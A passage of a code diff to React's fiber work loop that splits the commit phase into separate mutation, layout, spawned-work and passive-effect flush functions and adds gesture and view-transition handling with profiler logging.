+        pendingEffectsRoot = (null: any); // Clear for GC purposes.
+        pendingFinishedWork = (null: any); // Clear for GC purposes.
+        pendingEffectsLanes = NoLanes;
+      }
+      // Schedule the root to be committed when the gesture completes.
+      root.cancelPendingCommit = scheduleGestureCommit(
+        committingGesture,
+        completeRoot.bind(
+          null,
+          root,
+          finishedWork,
+          lanes,
+          recoverableErrors,
+          transitions,
+          didIncludeRenderPhaseUpdate,
+          spawnedLane,
+          updatedLanes,
+          suspendedRetryLanes,
+          didSkipSuspendedSiblings,
+          exitStatus,
+          suspendedState,
+          'Waiting for the Gesture to finish' /* suspendedCommitReason */,
+          completedRenderStartTime,
+          completedRenderEndTime,
+        ),
+      );
+      return;
+    }
+  }
+
+  // If we're not starting a gesture we now actually commit the root.
+  commitRoot(
+    root,
+    finishedWork,
+    lanes,
+    spawnedLane,
+    updatedLanes,
+    suspendedRetryLanes,
+    suspendedState,
+    suspendedCommitReason,
+    completedRenderEndTime,
+  );
+}
 
+function commitRoot(
+  root: FiberRoot,
+  finishedWork: Fiber,
+  lanes: Lanes,
+  spawnedLane: Lane,
+  updatedLanes: Lanes,
+  suspendedRetryLanes: Lanes,
+  suspendedState: null | SuspendedState,
+  suspendedCommitReason: SuspendedCommitReason, // Profiling-only
+  completedRenderEndTime: number, // Profiling-only
+) {
   // Check which lanes no longer have any work scheduled on them, and mark
   // those as finished.
   let remainingLanes = mergeLanes(finishedWork.lanes, finishedWork.childLanes);
 
+  pendingEffectsRemainingLanes = remainingLanes;
+
   // Make sure to account for lanes that were updated by a concurrent event
   // during the render phase; don't mark them as finished.
   const concurrentlyUpdatedLanes = getConcurrentlyUpdatedLanes();
   remainingLanes = mergeLanes(remainingLanes, concurrentlyUpdatedLanes);
 
-  markRootFinished(root, remainingLanes, spawnedLane);
+  if (enableGestureTransition && root.pendingGestures === null) {
+    // Gestures don't clear their lanes while the gesture is still active but it
+    // might not be scheduled to do any more renders and so we shouldn't schedule
+    // any more gesture lane work until a new gesture is scheduled.
+    if (enableProfilerTimer && (remainingLanes & GestureLane) !== NoLanes) {
+      // We need to clear any updates scheduled so that we can treat future updates
+      // as the cause of the render.
+      clearGestureUpdates();
+    }
+    remainingLanes &= ~GestureLane;
+  }
+
+  markRootFinished(
+    root,
+    lanes,
+    remainingLanes,
+    spawnedLane,
+    updatedLanes,
+    suspendedRetryLanes,
+  );
 
   // Reset this before firing side effects so we can detect recursive updates.
   didIncludeCommitPhaseUpdate = false;
 
-  if (root === workInProgressRoot) {
-    // We can reset these now that they are finished.
-    workInProgressRoot = null;
-    workInProgress = null;
-    workInProgressRootRenderLanes = NoLanes;
-  } else {
-    // This indicates that the last root we worked on is not the same one that
-    // we're committing now. This most commonly happens when a suspended root
-    // times out.
-  }
-
   // If there are pending passive effects, schedule a callback to process them.
   // Do this as early as possible, so it is queued before anything else that
   // might get scheduled in the commit phase. (See #16714.)
   // TODO: Delete all other places that schedule the passive effect callback
   // They're redundant.
+  let passiveSubtreeMask;
+  if (enableViewTransition) {
+    pendingViewTransitionEvents = null;
+    if (includesOnlyViewTransitionEligibleLanes(lanes)) {
+      // Claim any pending Transition Types for this commit.
+      pendingTransitionTypes = claimQueuedTransitionTypes(root);
+      passiveSubtreeMask = PassiveTransitionMask;
+    } else {
+      pendingTransitionTypes = null;
+      passiveSubtreeMask = PassiveMask;
+    }
+  } else {
+    passiveSubtreeMask = PassiveMask;
+  }
   if (
-    (finishedWork.subtreeFlags & PassiveMask) !== NoFlags ||
-    (finishedWork.flags & PassiveMask) !== NoFlags
+    // If this subtree rendered with profiling this commit, we need to visit it to log it.
+    (enableProfilerTimer &&
+      enableComponentPerformanceTrack &&
+      finishedWork.actualDuration !== 0) ||
+    (finishedWork.subtreeFlags & passiveSubtreeMask) !== NoFlags ||
+    (finishedWork.flags & passiveSubtreeMask) !== NoFlags
   ) {
-    if (!rootDoesHavePassiveEffects) {
-      rootDoesHavePassiveEffects = true;
-      pendingPassiveEffectsRemainingLanes = remainingLanes;
-      // workInProgressTransitions might be overwritten, so we want
-      // to store it in pendingPassiveTransitions until they get processed
-      // We need to pass this through as an argument to commitRoot
-      // because workInProgressTransitions might have changed between
-      // the previous render and commit if we throttle the commit
-      // with setTimeout
-      pendingPassiveTransitions = transitions;
+    if (enableYieldingBeforePassive) {
+      // We don't schedule a separate task for flushing passive effects.
+      // Instead, we just rely on ensureRootIsScheduled below to schedule
+      // a callback for us to flush the passive effects.
+    } else {
+      // So we can clear these now to allow a new callback to be scheduled.
+      root.callbackNode = null;
+      root.callbackPriority = NoLane;
       scheduleCallback(NormalSchedulerPriority, () => {
+        if (enableProfilerTimer && enableComponentPerformanceTrack) {
+          // Track the currently executing event if there is one so we can ignore this
+          // event when logging events.
+          trackSchedulerEvent();
+        }
+        if (pendingDelayedCommitReason === IMMEDIATE_COMMIT) {
+          pendingDelayedCommitReason = DELAYED_PASSIVE_COMMIT;
+        }
         flushPassiveEffects();
         // This render triggered passive effects: release the root cache pool
         // *after* passive effects fire to avoid freeing a cache pool that may
@@ -2924,127 +3797,409 @@ function commitRootImpl(
         return null;
       });
     }
+  } else {
+    // If we don't have passive effects, we're not going to need to perform more work
+    // so we can clear the callback now.
+    root.callbackNode = null;
+    root.callbackPriority = NoLane;
+  }
+
+  if (enableProfilerTimer) {
+    // Mark the current commit time to be shared by all Profilers in this
+    // batch. This enables them to be grouped later.
+    resetCommitErrors();
+    recordCommitTime();
+    if (enableComponentPerformanceTrack) {
+      if (suspendedCommitReason !== null) {
+        logSuspendedCommitPhase(
+          completedRenderEndTime,
+          commitStartTime,
+          suspendedCommitReason,
+          workInProgressUpdateTask,
+        );
+      }
+    }
   }
 
+  resetShouldStartViewTransition();
+
+  // The commit phase is broken into several sub-phases. We do a separate pass
+  // of the effect list for each phase: all mutation effects come before all
+  // layout effects, and so on.
+
   // Check if there are any effects in the whole tree.
   // TODO: This is left over from the effect list implementation, where we had
   // to check for the existence of `firstEffect` to satisfy Flow. I think the
   // only other reason this optimization exists is because it affects profiling.
   // Reconsider whether this is necessary.
-  const subtreeHasEffects =
-    (finishedWork.subtreeFlags &
-      (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !==
-    NoFlags;
-  const rootHasEffect =
-    (finishedWork.flags &
-      (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !==
+  const subtreeHasBeforeMutationEffects =
+    (finishedWork.subtreeFlags & (BeforeMutationMask | MutationMask)) !==
     NoFlags;
+  const rootHasBeforeMutationEffect =
+    (finishedWork.flags & (BeforeMutationMask | MutationMask)) !== NoFlags;
 
-  if (subtreeHasEffects || rootHasEffect) {
+  if (subtreeHasBeforeMutationEffects || rootHasBeforeMutationEffect) {
     const prevTransition = ReactSharedInternals.T;
     ReactSharedInternals.T = null;
     const previousPriority = getCurrentUpdatePriority();
     setCurrentUpdatePriority(DiscreteEventPriority);
-
     const prevExecutionContext = executionContext;
     executionContext |= CommitContext;
+    try {
+      // The first phase a "before mutation" phase. We use this phase to read the
+      // state of the host tree right before we mutate it. This is where
+      // getSnapshotBeforeUpdate is called.
+      commitBeforeMutationEffects(root, finishedWork, lanes);
+    } finally {
+      // Reset the priority to the previous non-sync value.
+      executionContext = prevExecutionContext;
+      setCurrentUpdatePriority(previousPriority);
+      ReactSharedInternals.T = prevTransition;
+    }
+  }
 
-    // The commit phase is broken into several sub-phases. We do a separate pass
-    // of the effect list for each phase: all mutation effects come before all
-    // layout effects, and so on.
+  if (enableGestureTransition) {
+    // Stop any gestures that were committed.
+    if (isGestureRender(lanes)) {
+      stopCommittedGesture(root);
+      // Note that shouldStartViewTransition should always be false here because
+      // committing a gesture never starts a new View Transition itself since it's
+      // not a View Transition eligible lane. Only follow up Transition commits can
+      // cause animate.
+    }
+  }
 
-    // The first phase a "before mutation" phase. We use this phase to read the
-    // state of the host tree right before we mutate it. This is where
-    // getSnapshotBeforeUpdate is called.
-    const shouldFireAfterActiveInstanceBlur = commitBeforeMutationEffects(
-      root,
-      finishedWork,
+  pendingEffectsStatus = PENDING_MUTATION_PHASE;
+  if (enableViewTransition && shouldStartViewTransition) {
+    if (enableProfilerTimer && enableComponentPerformanceTrack) {
+      startAnimating(lanes);
+    }
+    pendingViewTransition = startViewTransition(
+      suspendedState,
+      root.containerInfo,
+      pendingTransitionTypes,
+      flushMutationEffects,
+      flushLayoutEffects,
+      flushAfterMutationEffects,
+      flushSpawnedWork,
+      flushPassiveEffects,
+      reportViewTransitionError,
+      enableProfilerTimer ? suspendedViewTransition : (null: any),
+      enableProfilerTimer
+        ? // This callback fires after "pendingEffects" so we need to snapshot the arguments.
+          finishedViewTransition.bind(null, lanes)
+        : (null: any),
     );
+  } else {
+    // Flush synchronously.
+    flushMutationEffects();
+    flushLayoutEffects();
+    // Skip flushAfterMutationEffects
+    flushSpawnedWork();
+  }
+}
 
-    if (enableProfilerTimer) {
-      // Mark the current commit time to be shared by all Profilers in this
-      // batch. This enables them to be grouped later.
-      recordCommitTime();
-    }
+function reportViewTransitionError(error: mixed) {
+  // Report errors that happens while preparing a View Transition.
+  if (pendingEffectsStatus === NO_PENDING_EFFECTS) {
+    return;
+  }
+  const root = pendingEffectsRoot;
+  const onRecoverableError = root.onRecoverableError;
+  onRecoverableError(error, makeErrorInfo(null));
+}
 
-    // The next phase is the mutation phase, where we mutate the host tree.
-    commitMutationEffects(root, finishedWork, lanes);
+function suspendedViewTransition(reason: string): void {
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // We'll split the commit into two phases, because we're suspended in the middle.
+    recordCommitEndTime();
+    logCommitPhase(
+      pendingSuspendedCommitReason === null
+        ? pendingEffectsRenderEndTime
+        : commitStartTime,
+      commitEndTime,
+      commitErrors,
+      pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,
+      workInProgressUpdateTask, // TODO: Use a ViewTransition Task and this is not safe to read in this phase.
+    );
+    pendingSuspendedViewTransitionReason = reason;
+    pendingSuspendedCommitReason = reason;
+  }
+}
 
-    if (enableCreateEventHandleAPI) {
-      if (shouldFireAfterActiveInstanceBlur) {
-        afterActiveInstanceBlur();
-      }
+function finishedViewTransition(lanes: Lanes): void {
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if ((animatingLanes & lanes) === NoLanes) {
+      // Was already stopped by some other action or maybe other root.
+      return;
     }
-    resetAfterCommit(root.containerInfo);
-
-    // The work-in-progress tree is now the current tree. This must come after
-    // the mutation phase, so that the previous tree is still current during
-    // componentWillUnmount, but before the layout phase, so that the finished
-    // work is current during componentDidMount/Update.
-    root.current = finishedWork;
-
-    // The next phase is the layout phase, where we call effects that read
-    // the host tree after it's been mutated. The idiomatic use case for this is
-    // layout, but class component lifecycles also fire here for legacy reasons.
-    if (__DEV__) {
-      if (enableDebugTracing) {
-        logLayoutEffectsStarted(lanes);
-      }
+    const task = animatingTask;
+    stopAnimating(lanes);
+    // If an affected track isn't in the middle of rendering or committing, log from the previous
+    // finished render until the end of the animation.
+    if (
+      isGestureRender(lanes) &&
+      !isGestureRender(workInProgressRootRenderLanes) &&
+      !isGestureRender(pendingEffectsLanes)
+    ) {
+      setCurrentTrackFromLanes(GestureLane);
+      logAnimatingPhase(gestureClampTime, now(), task);
     }
-    if (enableSchedulingProfiler) {
-      markLayoutEffectsStarted(lanes);
+    if (
+      includesTransitionLane(lanes) &&
+      !includesTransitionLane(workInProgressRootRenderLanes) &&
+      !includesTransitionLane(pendingEffectsLanes)
+    ) {
+      setCurrentTrackFromLanes(SomeTransitionLane);
+      logAnimatingPhase(transitionClampTime, now(), task);
     }
-    commitLayoutEffects(finishedWork, root, lanes);
-    if (__DEV__) {
-      if (enableDebugTracing) {
-        logLayoutEffectsStopped();
-      }
+    if (
+      includesRetryLane(lanes) &&
+      !includesRetryLane(workInProgressRootRenderLanes) &&
+      !includesRetryLane(pendingEffectsLanes)
+    ) {
+      setCurrentTrackFromLanes(SomeRetryLane);
+      logAnimatingPhase(retryClampTime, now(), task);
     }
-
-    if (enableSchedulingProfiler) {
-      markLayoutEffectsStopped();
+    if (
+      includesIdleGroupLanes(lanes) &&
+      !includesIdleGroupLanes(workInProgressRootRenderLanes) &&
+      !includesIdleGroupLanes(pendingEffectsLanes)
+    ) {
+      setCurrentTrackFromLanes(IdleLane);
+      logAnimatingPhase(idleClampTime, now(), task);
     }
+  }
+}
 
-    // Tell Scheduler to yield at the end of the frame, so the browser has an
-    // opportunity to paint.
-    requestPaint();
-
-    executionContext = prevExecutionContext;
+function flushAfterMutationEffects(): void {
+  if (pendingEffectsStatus !== PENDING_AFTER_MUTATION_PHASE) {
+    return;
+  }
+  pendingEffectsStatus = NO_PENDING_EFFECTS;
+  const root = pendingEffectsRoot;
+  const finishedWork = pendingFinishedWork;
+  const lanes = pendingEffectsLanes;
+  commitAfterMutationEffects(root, finishedWork, lanes);
+  pendingEffectsStatus = PENDING_SPAWNED_WORK;
+}
 
-    // Reset the priority to the previous non-sync value.
-    setCurrentUpdatePriority(previousPriority);
-    ReactSharedInternals.T = prevTransition;
-  } else {
-    // No effects.
-    root.current = finishedWork;
-    // Measure these anyway so the flamegraph explicitly shows that there were
-    // no effects.
-    // TODO: Maybe there's a better way to report this.
-    if (enableProfilerTimer) {
-      recordCommitTime();
-    }
+function flushMutationEffects(): void {
+  if (pendingEffectsStatus !== PENDING_MUTATION_PHASE) {
+    return;
   }
+  pendingEffectsStatus = NO_PENDING_EFFECTS;
 
-  const rootDidHavePassiveEffects = rootDoesHavePassiveEffects;
+  const root = pendingEffectsRoot;
+  const finishedWork = pendingFinishedWork;
+  const lanes = pendingEffectsLanes;
+  const subtreeMutationHasEffects =
+    (finishedWork.subtreeFlags & MutationMask) !== NoFlags;
+  const rootMutationHasEffect = (finishedWork.flags & MutationMask) !== NoFlags;
 
-  if (rootDoesHavePassiveEffects) {
-    // This commit has passive effects. Stash a reference to them. But don't
-    // schedule a callback until after flushing layout work.
-    rootDoesHavePassiveEffects = false;
-    rootWithPendingPassiveEffects = root;
-    pendingPassiveEffectsLanes = lanes;
-  } else {
-    // There were no passive effects, so we can immediately release the cache
-    // pool for this render.
-    releaseRootPooledCache(root, remainingLanes);
-    if (__DEV__) {
-      nestedPassiveUpdateCount = 0;
-      rootWithPassiveNestedUpdates = null;
+  if (subtreeMutationHasEffects || rootMutationHasEffect) {
+    const prevTransition = ReactSharedInternals.T;
+    ReactSharedInternals.T = null;
+    const previousPriority = getCurrentUpdatePriority();
+    setCurrentUpdatePriority(DiscreteEventPriority);
+    const prevExecutionContext = executionContext;
+    executionContext |= CommitContext;
+    try {
+      // The next phase is the mutation phase, where we mutate the host tree.
+      commitMutationEffects(root, finishedWork, lanes);
+
+      if (enableCreateEventHandleAPI) {
+        if (shouldFireAfterActiveInstanceBlur) {
+          afterActiveInstanceBlur();
+        }
+      }
+      resetAfterCommit(root.containerInfo);
+    } finally {
+      // Reset the priority to the previous non-sync value.
+      executionContext = prevExecutionContext;
+      setCurrentUpdatePriority(previousPriority);
+      ReactSharedInternals.T = prevTransition;
     }
   }
 
-  // Read this again, since an effect might have updated it
-  remainingLanes = root.pendingLanes;
+  // The work-in-progress tree is now the current tree. This must come after
+  // the mutation phase, so that the previous tree is still current during
+  // componentWillUnmount, but before the layout phase, so that the finished
+  // work is current during componentDidMount/Update.
+  root.current = finishedWork;
+  pendingEffectsStatus = PENDING_LAYOUT_PHASE;
+}
+
+function flushLayoutEffects(): void {
+  if (pendingEffectsStatus !== PENDING_LAYOUT_PHASE) {
+    return;
+  }
+  pendingEffectsStatus = NO_PENDING_EFFECTS;
+
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    const suspendedViewTransitionReason = pendingSuspendedViewTransitionReason;
+    if (suspendedViewTransitionReason !== null) {
+      // We suspended in the middle of the commit for the view transition.
+      // We'll start a new commit track now.
+      recordCommitTime();
+      logSuspendedViewTransitionPhase(
+        commitEndTime, // The start is the end of the first commit part.
+        commitStartTime, // The end is the start of the second commit part.
+        suspendedViewTransitionReason,
+        animatingTask,
+      );
+    }
+  }
+
+  const root = pendingEffectsRoot;
+  const finishedWork = pendingFinishedWork;
+  const lanes = pendingEffectsLanes;
+
+  if (enableDefaultTransitionIndicator) {
+    const cleanUpIndicator = root.pendingIndicator;
+    if (cleanUpIndicator !== null && root.indicatorLanes === NoLanes) {
+      // We have now committed all Transitions that needed the default indicator
+      // so we can now run the clean up function. We do this in the layout phase
+      // so it has the same semantics as if you did it with a useLayoutEffect or
+      // if it was reset automatically with useOptimistic.
+      const prevTransition = ReactSharedInternals.T;
+      ReactSharedInternals.T = null;
+      const previousPriority = getCurrentUpdatePriority();
+      setCurrentUpdatePriority(DiscreteEventPriority);
+      const prevExecutionContext = executionContext;
+      executionContext |= CommitContext;
+      root.pendingIndicator = null;
+      try {
+        cleanUpIndicator();
+      } catch (x) {
+        reportGlobalError(x);
+      } finally {
+        // Reset the priority to the previous non-sync value.
+        executionContext = prevExecutionContext;
+        setCurrentUpdatePriority(previousPriority);
+        ReactSharedInternals.T = prevTransition;
+      }
+    }
+  }
+
+  const subtreeHasLayoutEffects =
+    (finishedWork.subtreeFlags & LayoutMask) !== NoFlags;
+  const rootHasLayoutEffect = (finishedWork.flags & LayoutMask) !== NoFlags;
+
+  if (subtreeHasLayoutEffects || rootHasLayoutEffect) {
+    const prevTransition = ReactSharedInternals.T;
+    ReactSharedInternals.T = null;
+    const previousPriority = getCurrentUpdatePriority();
+    setCurrentUpdatePriority(DiscreteEventPriority);
+    const prevExecutionContext = executionContext;
+    executionContext |= CommitContext;
+    try {
+      // The next phase is the layout phase, where we call effects that read
+      // the host tree after it's been mutated. The idiomatic use case for this is
+      // layout, but class component lifecycles also fire here for legacy reasons.
+      if (enableSchedulingProfiler) {
+        markLayoutEffectsStarted(lanes);
+      }
+      commitLayoutEffects(finishedWork, root, lanes);
+      if (enableSchedulingProfiler) {
+        markLayoutEffectsStopped();
+      }
+    } finally {
+      // Reset the priority to the previous non-sync value.
+      executionContext = prevExecutionContext;
+      setCurrentUpdatePriority(previousPriority);
+      ReactSharedInternals.T = prevTransition;
+    }
+  }
+
+  const completedRenderEndTime = pendingEffectsRenderEndTime;
+  const suspendedCommitReason = pendingSuspendedCommitReason;
+
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    recordCommitEndTime();
+    logCommitPhase(
+      suspendedCommitReason === null ? completedRenderEndTime : commitStartTime,
+      commitEndTime,
+      commitErrors,
+      pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,
+      workInProgressUpdateTask,
+    );
+  }
+
+  pendingEffectsStatus = PENDING_AFTER_MUTATION_PHASE;
+}
+
+function flushSpawnedWork(): void {
+  if (
+    pendingEffectsStatus !== PENDING_SPAWNED_WORK &&
+    // If a startViewTransition times out, we might flush this earlier than
+    // after mutation phase. In that case, we just skip the after mutation phase.
+    pendingEffectsStatus !== PENDING_AFTER_MUTATION_PHASE
+  ) {
+    return;
+  }
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // If we didn't skip the after mutation phase, when is means we started an animation.
+    const startedAnimation = pendingEffectsStatus === PENDING_SPAWNED_WORK;
+    if (startedAnimation) {
+      const startViewTransitionStartTime = commitEndTime;
+      // Update the new commitEndTime to when we started the animation.
+      recordCommitEndTime();
+      logStartViewTransitionYieldPhase(
+        startViewTransitionStartTime,
+        commitEndTime,
+        pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,
+        animatingTask,
+      );
+      if (pendingDelayedCommitReason !== ABORTED_VIEW_TRANSITION_COMMIT) {
+        pendingDelayedCommitReason = ANIMATION_STARTED_COMMIT;
+      }
+    }
+  }
+
+  pendingEffectsStatus = NO_PENDING_EFFECTS;
+
+  const committedViewTransition = pendingViewTransition;
+  pendingViewTransition = null; // The view transition has now fully started.
+
+  // Tell Scheduler to yield at the end of the frame, so the browser has an
+  // opportunity to paint.
+  requestPaint();
+
+  const root = pendingEffectsRoot;
+  const finishedWork = pendingFinishedWork;
+  const lanes = pendingEffectsLanes;
+  const recoverableErrors = pendingRecoverableErrors;
+  const didIncludeRenderPhaseUpdate = pendingDidIncludeRenderPhaseUpdate;
+
+  const passiveSubtreeMask =
+    enableViewTransition && includesOnlyViewTransitionEligibleLanes(lanes)
+      ? PassiveTransitionMask
+      : PassiveMask;
+  const rootDidHavePassiveEffects = // If this subtree rendered with profiling this commit, we need to visit it to log it.
+    (enableProfilerTimer &&
+      enableComponentPerformanceTrack &&
+      finishedWork.actualDuration !== 0) ||
+    (finishedWork.subtreeFlags & passiveSubtreeMask) !== NoFlags ||
+    (finishedWork.flags & passiveSubtreeMask) !== NoFlags;
+
+  if (rootDidHavePassiveEffects) {
+    pendingEffectsStatus = PENDING_PASSIVE_PHASE;
+  } else {
+    pendingEffectsStatus = NO_PENDING_EFFECTS;
+    pendingEffectsRoot = (null: any); // Clear for GC purposes.
+    pendingFinishedWork = (null: any); // Clear for GC purposes.
+    // There were no passive effects, so we can immediately release the cache
+    // pool for this render.
+    releaseRootPooledCache(root, root.pendingLanes);
+    if (__DEV__) {
+      nestedPassiveUpdateCount = 0;
+      rootWithPassiveNestedUpdates = null;
+    }
+  }
+
+  // Read this again, since an effect might have updated it
+  let remainingLanes = root.pendingLanes;
 
   // Check if there's remaining work on this root
   // TODO: This is part of the `componentDidCatch` implementation. Its purpose
@@ -3068,7 +4223,8 @@ function commitRootImpl(
     }
   }
 
-  onCommitRootDevTools(finishedWork.stateNode, renderPriorityLevel);
+  const renderPriority = lanesToEventPriority(lanes);
+  onCommitRootDevTools(finishedWork.stateNode, renderPriority);
 
   if (enableUpdaterTracking) {
     if (isDevToolsPresent) {
@@ -3080,26 +4236,57 @@ function commitRootImpl(
     onCommitRootTestSelector();
   }
 
-  // Always call this before exiting `commitRoot`, to ensure that any
-  // additional work on this root is scheduled.
-  ensureRootIsScheduled(root);
-
   if (recoverableErrors !== null) {
-    // There were errors during this render, but recovered from them without
-    // needing to surface it to the UI. We log them here.
-    const onRecoverableError = root.onRecoverableError;
-    for (let i = 0; i < recoverableErrors.length; i++) {
-      const recoverableError = recoverableErrors[i];
-      const errorInfo = makeErrorInfo(recoverableError.stack);
-      if (__DEV__) {
-        runWithFiberInDEV(
-          recoverableError.source,
-          onRecoverableError,
-          recoverableError.value,
-          errorInfo,
-        );
-      } else {
-        onRecoverableError(recoverableError.value, errorInfo);
+    const prevTransition = ReactSharedInternals.T;
+    const previousUpdateLanePriority = getCurrentUpdatePriority();
+    setCurrentUpdatePriority(DiscreteEventPriority);
+    ReactSharedInternals.T = null;
+    try {
+      // There were errors during this render, but recovered from them without
+      // needing to surface it to the UI. We log them here.
+      const onRecoverableError = root.onRecoverableError;
+      for (let i = 0; i < recoverableErrors.length; i++) {
+        const recoverableError = recoverableErrors[i];
+        const errorInfo = makeErrorInfo(recoverableError.stack);
+        if (__DEV__) {
+          runWithFiberInDEV(
+            recoverableError.source,
+            onRecoverableError,
+            recoverableError.value,
+            errorInfo,
+          );
+        } else {
+          onRecoverableError(recoverableError.value, errorInfo);
+        }
+      }
+    } finally {
+      ReactSharedInternals.T = prevTransition;
+      setCurrentUpdatePriority(previousUpdateLanePriority);
+    }
+  }
+
+  if (enableViewTransition) {
+    // We should now be after the startViewTransition's .ready call which is late enough
+    // to start animating any pseudo-elements. We do this before flushing any passive
+    // effects or spawned sync work since this is still part of the previous commit.
+    // Even though conceptually it's like its own task between layout effets and passive.
+    const pendingEvents = pendingViewTransitionEvents;
+    let pendingTypes = pendingTransitionTypes;
+    pendingTransitionTypes = null;
+    if (pendingEvents !== null) {
+      pendingViewTransitionEvents = null;
+      if (pendingTypes === null) {
+        // Normalize the type. This is lazily created only for events.
+        pendingTypes = [];
+      }
+      if (committedViewTransition !== null) {
+        for (let i = 0; i < pendingEvents.length; i++) {
+          const viewTransitionEvent = pendingEvents[i];
+          const cleanup = viewTransitionEvent(pendingTypes);
+          if (cleanup !== undefined) {
+            addViewTransitionFinishedListener(committedViewTransition, cleanup);
+          }
+        }
       }
     }
   }
@@ -3113,12 +4300,16 @@ function commitRootImpl(
   // currently schedule the callback in multiple places, will wait until those
   // are consolidated.
   if (
-    includesSyncLane(pendingPassiveEffectsLanes) &&
+    includesSyncLane(pendingEffectsLanes) &&
     (disableLegacyMode || root.tag !== LegacyRoot)
   ) {
-    flushPassiveEffects();
+    flushPendingEffects();
   }
 
+  // Always call this before exiting `completeRoot`, to ensure that any
+  // additional work on this root is scheduled.
+  ensureRootIsScheduled(root);
+
   // Read this again, since a passive effect might have updated it
   remainingLanes = root.pendingLanes;
 
@@ -3127,15 +4318,30 @@ function commitRootImpl(
   // hydration lanes in this check, because render triggered by selective
   // hydration is conceptually not an update.
   if (
+    // Was the finished render the result of an update (not hydration)?
+    includesSomeLane(lanes, UpdateLanes) &&
+    // Did it schedule a sync update?
+    includesSomeLane(remainingLanes, SyncUpdateLanes)
+  ) {
+    if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {
+      markNestedUpdateScheduled();
+    }
+
+    // Count the number of times the root synchronously re-renders without
+    // finishing. If there are too many, it indicates an infinite update loop.
+    if (root === rootWithNestedUpdates) {
+      nestedUpdateCount++;
+    } else {
+      nestedUpdateCount = 0;
+      rootWithNestedUpdates = root;
+    }
+    nestedUpdateKind = NESTED_UPDATE_SYNC_LANE;
+  } else if (
     // Check if there was a recursive update spawned by this render, in either
     // the render phase or the commit phase. We track these explicitly because
     // we can't infer from the remaining lanes alone.
-    (enableInfiniteRenderLoopDetection &&
-      (didIncludeRenderPhaseUpdate || didIncludeCommitPhaseUpdate)) ||
-    // Was the finished render the result of an update (not hydration)?
-    (includesSomeLane(lanes, UpdateLanes) &&
-      // Did it schedule a sync update?
-      includesSomeLane(remainingLanes, SyncUpdateLanes))
+    enableInfiniteRenderLoopDetection &&
+    (didIncludeRenderPhaseUpdate || didIncludeCommitPhaseUpdate)
   ) {
     if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {
       markNestedUpdateScheduled();
@@ -3149,19 +4355,28 @@ function commitRootImpl(
       nestedUpdateCount = 0;
       rootWithNestedUpdates = root;
     }
+    nestedUpdateKind = NESTED_UPDATE_PHASE_SPAWN;
   } else {
     nestedUpdateCount = 0;
+    rootWithNestedUpdates = null;
+    nestedUpdateKind = NO_NESTED_UPDATE;
   }
 
-  // If layout work was scheduled, flush it now.
-  flushSyncWorkOnAllRoots();
-
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      logCommitStopped();
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if (!rootDidHavePassiveEffects) {
+      finalizeRender(lanes, commitEndTime);
     }
   }
 
+  // Eagerly flush any event replaying that we unblocked within this commit.
+  // This ensures that those are observed before we render any new changes.
+  if (supportsHydration) {
+    flushHydrationEvents();
+  }
+
+  // If layout work was scheduled, flush it now.
+  flushSyncWorkOnAllRoots();
+
   if (enableSchedulingProfiler) {
     markCommitStopped();
   }
@@ -3196,8 +4411,189 @@ function commitRootImpl(
       });
     }
   }
+}
+
+function applyGestureOnRoot(
+  root: FiberRoot,
+  finishedWork: Fiber,
+  recoverableErrors: null | Array<CapturedValue<mixed>>,
+  suspendedState: null | SuspendedState,
+  renderEndTime: number, // Profiling-only
+): void {
+  // We assume that the gesture we just rendered was the first one in the queue.
+  const finishedGesture = root.pendingGestures;
+  if (finishedGesture === null) {
+    // We must have already cancelled this gesture before we had a chance to
+    // render it. Let's schedule work on the next set of lanes.
+    ensureRootIsScheduled(root);
+    return;
+  }
+
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    startAnimating(pendingEffectsLanes);
+  }
+
+  pendingViewTransitionEvents = null;
+
+  const prevTransition = ReactSharedInternals.T;
+  ReactSharedInternals.T = null;
+  const previousPriority = getCurrentUpdatePriority();
+  setCurrentUpdatePriority(DiscreteEventPriority);
+  const prevExecutionContext = executionContext;
+  executionContext |= CommitContext;
+  try {
+    insertDestinationClones(root, finishedWork);
+  } finally {
+    // Reset the priority to the previous non-sync value.
+    executionContext = prevExecutionContext;
+    setCurrentUpdatePriority(previousPriority);
+    ReactSharedInternals.T = prevTransition;
+  }
+  pendingTransitionTypes = finishedGesture.types;
+  pendingEffectsStatus = PENDING_GESTURE_MUTATION_PHASE;
+
+  pendingViewTransition = finishedGesture.running = startGestureTransition(
+    suspendedState,
+    root.containerInfo,
+    finishedGesture.provider,
+    finishedGesture.rangeStart,
+    finishedGesture.rangeEnd,
+    pendingTransitionTypes,
+    flushGestureMutations,
+    flushGestureAnimations,
+    reportViewTransitionError,
+    enableProfilerTimer
+      ? // This callback fires after "pendingEffects" so we need to snapshot the arguments.
+        finishedViewTransition.bind(null, pendingEffectsLanes)
+      : (null: any),
+  );
+}
+
+function flushGestureMutations(): void {
+  if (!enableGestureTransition) {
+    return;
+  }
+  if (pendingEffectsStatus !== PENDING_GESTURE_MUTATION_PHASE) {
+    return;
+  }
+  pendingEffectsStatus = NO_PENDING_EFFECTS;
+  const root = pendingEffectsRoot;
+  const finishedWork = pendingFinishedWork;
+
+  const prevTransition = ReactSharedInternals.T;
+  ReactSharedInternals.T = null;
+  const previousPriority = getCurrentUpdatePriority();
+  setCurrentUpdatePriority(DiscreteEventPriority);
+  const prevExecutionContext = executionContext;
+  executionContext |= CommitContext;
+  try {
+    applyDepartureTransitions(root, finishedWork);
+  } finally {
+    // Reset the priority to the previous non-sync value.
+    executionContext = prevExecutionContext;
+    setCurrentUpdatePriority(previousPriority);
+    ReactSharedInternals.T = prevTransition;
+  }
+
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    recordCommitEndTime();
+    logApplyGesturePhase(
+      pendingEffectsRenderEndTime,
+      commitEndTime,
+      animatingTask,
+    );
+  }
+
